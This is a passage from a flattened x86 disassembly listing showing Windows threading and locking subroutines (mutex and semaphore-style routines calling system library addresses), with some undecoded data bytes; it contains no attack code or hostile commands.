ebp call sub_402252 add esp, 4 mov ebx, eax loc_430C3C: ; CODE XREF: sub_430B30+FFj cmp dword_5103CC, esi jnz short loc_430C4F mov edx, [esi+18h] mov dword_5103CC, edx jmp short loc_430C58 ; --------------------------------------------------------------------------- loc_430C4F: ; CODE XREF: sub_430B30+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_430C58: ; CODE XREF: sub_430B30+11Dj cmp dword_5103D0, esi jnz short loc_430C6B mov edx, [esi+1Ch] mov dword_5103D0, edx jmp short loc_430C74 ; --------------------------------------------------------------------------- loc_430C6B: ; CODE XREF: sub_430B30+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_430C74: ; CODE XREF: sub_430B30+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_430C7E: ; CODE XREF: sub_430B30+B4j push offset dword_5109A0 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_430CC2 ; --------------------------------------------------------------------------- loc_430C93: ; CODE XREF: sub_430B30+28j push offset dword_510920 call near ptr 7C901005h nop cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_430CAB mov dword ptr [edi], 0 jmp short loc_430CB7 ; --------------------------------------------------------------------------- loc_430CAB: ; CODE XREF: sub_430B30+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_430CB7: ; CODE XREF: sub_430B30+179j push offset dword_510920 nop call near ptr 7C9010EDh loc_430CC2: ; CODE XREF: sub_430B30+161j test esi, esi jz short loc_430CCE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CCE: ; CODE XREF: sub_430B30+194j test ebp, ebp mov eax, ebp jnz short loc_430CE1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430CDC: ; CODE XREF: sub_430B30+15j ; sub_430B30+1Fj mov eax, 16h loc_430CE1: ; CODE XREF: sub_430B30+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_430B30 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D60 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_430D90 add esp, 0Ch retn sub_430D60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430D90 proc near ; CODE XREF: sub_430D60+Cp ; sub_431060+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_430E99 mov eax, [esi] test eax, eax jz loc_430E99 cmp eax, 0FFFFFFFFh jnz short loc_430DD2 push esi call sub_401B63 add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_430DD2 cmp eax, 10h jnz loc_430E9E loc_430DD2: ; CODE XREF: sub_430D90+26j ; sub_430D90+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_430DF2 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430DF2: ; CODE XREF: sub_430D90+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430E12 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_430E12: ; CODE XREF: sub_430D90+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_430F00 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401663 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD027Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD0A46E8h, 8C483FFh, 0E74C085h, 0E44EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD0296h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_430E99: ; CODE XREF: sub_430D90+13j ; sub_430D90+1Dj mov eax, 16h loc_430E9E: ; CODE XREF: sub_430D90+3Cj pop edi pop esi add esp, 20h retn sub_430D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_430F00: ; DATA XREF: sub_430D90+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402248 add esp, 4 test eax, eax jz short loc_430F2B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F2B: ; CODE XREF: ___:00430F21j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_430F3E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_430FA7 ; --------------------------------------------------------------------------- loc_430F3E: ; CODE XREF: ___:00430F34j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_430FA7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_430F72 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F72: ; CODE XREF: ___:00430F5Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_430F9C nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430F9C: ; CODE XREF: ___:00430F86j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_430FA7: ; CODE XREF: ___:00430F3Cj ; ___:00430F4Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_430FC0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FC0: ; CODE XREF: ___:00430FB2j cmp ebx, 1 jnz short loc_430FE9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430FE9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430FE9: ; CODE XREF: ___:00430FC3j ; ___:00430FD3j mov ecx, [ebp+0] push ecx call sub_402248 add esp, 4 test eax, eax jz short loc_430FFF mov edx, [esp+18h] mov [edx], eax loc_430FFF: ; CODE XREF: ___:00430FF7j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431060 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_43106E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43106E: ; CODE XREF: sub_431060+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_430D90 add esp, 0Ch retn sub_431060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310A0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4310C0 add esp, 8 retn sub_4310A0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4310C0 proc near ; CODE XREF: sub_4310A0+7p ; sub_431220+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_4311C4 mov esi, [eax] test esi, esi jz loc_4311C4 cmp esi, 0FFFFFFFFh jnz short loc_4310E4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_4310E4: ; CODE XREF: sub_4310C0+1Cj lea ebx, [esi+14h] push ebx call sub_402248 add esp, 4 test eax, eax jnz loc_4311C9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_431134 test eax, eax jnz short loc_431112 loc_431105: ; CODE XREF: sub_4310C0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431112: ; CODE XREF: sub_4310C0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_431129 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431129: ; CODE XREF: sub_4310C0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_431193 ; --------------------------------------------------------------------------- loc_431134: ; CODE XREF: sub_4310C0+3Fj cmp eax, [esi+4] jle short loc_431105 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_431160 call near ptr 77C1F2BCh nop mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431160: ; CODE XREF: sub_4310C0+87j mov eax, [esi+4] test eax, eax jz short loc_431174 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_431174: ; CODE XREF: sub_4310C0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_431189 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_431196 ; --------------------------------------------------------------------------- loc_431189: ; CODE XREF: sub_4310C0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_431193: ; CODE XREF: sub_4310C0+72j dec eax mov [esi], eax loc_431196: ; CODE XREF: sub_4310C0+67j ; sub_4310C0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_4311BE add esi, 0Ch push edi push esi call sub_402068 add esp, 8 test eax, eax jz short loc_4311BE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_4311BE: ; CODE XREF: sub_4310C0+E3j ; sub_4310C0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4311C4: ; CODE XREF: sub_4310C0+9j ; sub_4310C0+13j mov eax, 16h loc_4311C9: ; CODE XREF: sub_4310C0+32j pop edi pop esi pop ebx retn sub_4310C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431220 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4310C0 add esp, 8 retn sub_431220 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431240 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B27 mov esi, eax test esi, esi jz loc_431316 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_431316 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_4312BE mov eax, [ebp+0] test eax, eax jz short loc_4312BE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_4312C0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_4312C0 ; --------------------------------------------------------------------------- loc_4312BE: ; CODE XREF: sub_431240+4Dj ; sub_431240+54j xor edi, edi loc_4312C0: ; CODE XREF: sub_431240+6Ej ; sub_431240+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401BA9 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax call near ptr 77C3A3DBh nop mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_431309 test ebp, ebp jz short loc_431302 cmp dword ptr [ebp+0], 0 jz short loc_431302 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020D1 add esp, 0Ch loc_431302: ; CODE XREF: sub_431240+AAj ; sub_431240+B0j push edi nop call near ptr 2770480h loc_431309: ; CODE XREF: sub_431240+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_431349 loc_431316: ; CODE XREF: sub_431240+14j ; sub_431240+30j push esi call sub_4017B7 add esp, 4 xor esi, esi test ebx, ebx jz short loc_43133C push ebx call near ptr 77C2C21Bh nop mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43133C: ; CODE XREF: sub_431240+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_431349: ; CODE XREF: sub_431240+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_431240 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4313B0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4313E7 ; default jmp off_4313EC[ecx*4] ; switch jump loc_4313C5: ; DATA XREF: ___:off_4313ECo call sub_401712 ; jumptable 004313BE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4313CD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017BC ; jumptable 004313BE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4313D5: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4313DD: ; CODE XREF: ___:004313BEj ; DATA XREF: ___:off_4313ECo call sub_4017CB ; jumptable 004313BE case 0 call sub_401627 locret_4313E7: ; CODE XREF: ___:004313BCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4313EC dd offset loc_4313DD ; DATA XREF: ___:004313BEr dd offset loc_4313C5 ; jump table for switch statement dd offset loc_4313CD dd offset loc_4313D5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431420: ; CODE XREF: ___:004017C1j mov eax, dword_5103C4 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h, 4C48377h dd 7E89016Ah, 99FE814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431470 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_5108E0 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_43149B mov eax, [eax+4] test eax, eax jz short loc_43149B push eax nop call near ptr 2760935h cmp eax, 7FFFFFFFh jnz short loc_4314A0 loc_43149B: ; CODE XREF: sub_431470+14j ; sub_431470+1Bj mov esi, 3 loc_4314A0: ; CODE XREF: sub_431470+29j push offset dword_5108E0 call near ptr 7C9010EDh nop test esi, esi jnz short loc_4314BC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4314BE loc_4314BC: ; CODE XREF: sub_431470+3Dj mov eax, esi loc_4314BE: ; CODE XREF: sub_431470+4Aj pop esi retn sub_431470 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4314E0: ; CODE XREF: ___:00401654j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_431531 mov edi, [esp+14h] test edi, edi jz short loc_431531 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_431511 lea eax, [esi+4] push eax nop call near ptr 276089Dh test eax, eax jnz short loc_431517 call edi mov dword ptr [esi], 1 loc_431511: ; CODE XREF: ___:004314F9j ; ___:0043151Aj pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431517: ; CODE XREF: ___:00431507j cmp dword ptr [esi], 0 jnz short loc_431511 mov edi, dword_5118D8 loc_431522: ; CODE XREF: ___:00431529j push 0 call edi cmp dword ptr [esi], 0 jz short loc_431522 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_431531: ; CODE XREF: ___:004314E9j ; ___:004314F1j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431560 proc near ; CODE XREF: sub_4012E4j mov eax, dword_5103C4 push esi push edi push eax call sub_401190 sub_431560 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 232EDF0h, 187C1D8Bh dd 26A0051h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 3AE89050h dd 500235EDh, 0E850D3FFh, 232EDF1h, 5BC08590h, 0E8560E75h dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 32F35CE8h dd 28468902h, 3C4158Bh, 52560051h, 0FD0B10E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_431630 proc near ; CODE XREF: sub_401A64j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43164E test eax, eax jz short loc_431648 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43164E loc_431648: ; CODE XREF: sub_431630+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43164E: ; CODE XREF: sub_431630+Aj ; sub_431630+16j xor eax, eax retn sub_431630 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431670: ; CODE XREF: ___:0040200Ej mov eax, [esp+4] test eax, eax jge short loc_43167E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43167E: ; CODE XREF: ___:00431676j mov dword_5103D4, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4316A0: ; CODE XREF: ___:00401564j mov eax, dword_5103D4 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4316C0 proc near ; CODE XREF: sub_401B27j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4316E2 push 84h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_431729 loc_4316E2: ; CODE XREF: sub_4316C0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 2760000h test eax, eax mov [esi+38h], eax jnz short loc_431729 push esi call sub_401BD1 add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_431729: ; CODE XREF: sub_4316C0+20j ; sub_4316C0+5Aj mov eax, esi pop esi retn sub_4316C0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431750 proc near ; CODE XREF: sub_401307j push esi push offset dword_5108E0 call near ptr 7C901005h nop mov esi, dword_447718 cmp esi, 1 jz short loc_431785 mov eax, [esi+8] push offset dword_5108E0 mov dword_447718, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431785: ; CODE XREF: sub_431750+15j push offset dword_5108E0 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431750 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317C0 proc near ; CODE XREF: sub_401BD1j arg_0 = dword ptr 4 push edi push offset dword_5108E0 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_447718 push offset dword_5108E0 mov [edx+8], eax mov dword_447718, edx nop call near ptr 7C9010EDh pop edi retn sub_4317C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431810 proc near ; CODE XREF: sub_40164Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_431830 sub_431810 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431830 proc near ; CODE XREF: sub_431810+7p ; sub_431950+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_431830 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_431866 mov eax, [esi+30h] test eax, eax jnz short loc_43186E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43186E mov edi, 2 jmp short loc_43186E ; --------------------------------------------------------------------------- loc_431866: ; CODE XREF: ___:0043184Bj mov dword ptr [esp+0Ch], 0 loc_43186E: ; CODE XREF: ___:00431852j ; ___:0043185Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 2750ADEh mov ecx, eax sub ecx, 0 jz short loc_4318F9 dec ecx jz short loc_4318A4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318A4: ; CODE XREF: ___:00431889j mov eax, [esp+0Ch] push eax nop call near ptr 27709B8h test esi, esi jz short loc_4318EE lea edi, [esi+2Ch] push edi call sub_402248 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4318E5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DED ; --------------------------------------------------------------------------- add esp, 8 loc_4318E5: ; CODE XREF: ___:004318C9j push edi call sub_4010C3 add esp, 4 loc_4318EE: ; CODE XREF: ___:004318B1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_4318F9: ; CODE XREF: ___:00431886j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431950 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_431830 sub_431950 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431980 proc near ; CODE XREF: sub_401C17j arg_0 = dword ptr 4 push esi push offset dword_510940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4319B4 push esi push ecx call sub_4021BC add esp, 8 mov esi, eax push offset dword_510940 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4319B4: ; CODE XREF: sub_431980+17j test eax, eax jnz short loc_4319BD mov esi, 16h loc_4319BD: ; CODE XREF: sub_431980+36j push offset dword_510940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431980 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4319F0 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_431A04 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_431A04: ; CODE XREF: sub_4319F0+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_431A1F mov eax, [edi] test eax, eax jz short loc_431A1F cmp dword ptr [eax], 1 jnz short loc_431A1F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_431A1F: ; CODE XREF: sub_4319F0+1Aj ; sub_4319F0+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431A44 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A44: ; CODE XREF: sub_4319F0+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_431A60 mov edi, [edi] test edi, edi jz short loc_431A60 mov edi, [edi+4] jmp short loc_431A62 ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: sub_4319F0+63j ; sub_4319F0+69j xor edi, edi loc_431A62: ; CODE XREF: sub_4319F0+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C8A add esp, 0Ch test eax, eax jz short loc_431A9D push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_431A9D: ; CODE XREF: sub_4319F0+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 2790000h mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_4319F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B00 proc near ; CODE XREF: sub_402252j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_431BE0 mov eax, [edi] test eax, eax jz loc_431BE0 cmp eax, 0FFFFFFFFh jz loc_431BA5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_401785 mov esi, eax add esp, 4 test esi, esi jnz loc_431BDB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_431B97 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_431B90 add edx, 10h push edx call sub_401690 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 2780765h mov ecx, [esp+8+arg_0] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B90: ; CODE XREF: sub_431B00+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431B97: ; CODE XREF: sub_431B00+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BA5: ; CODE XREF: sub_431B00+1Dj push offset dword_510940 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_431BCB push offset dword_510940 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BCB: ; CODE XREF: sub_431B00+B3j push offset dword_510940 mov esi, 10h call near ptr 7C9010EDh nop loc_431BDB: ; CODE XREF: sub_431B00+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431BE0: ; CODE XREF: sub_431B00+Aj ; sub_431B00+14j pop edi mov eax, 16h pop esi retn sub_431B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431C30 proc near ; CODE XREF: sub_401A1Ej arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 cmp eax, esi jnz short loc_431C53 mov edx, [esp+4+arg_0] mov ecx, 0Ch 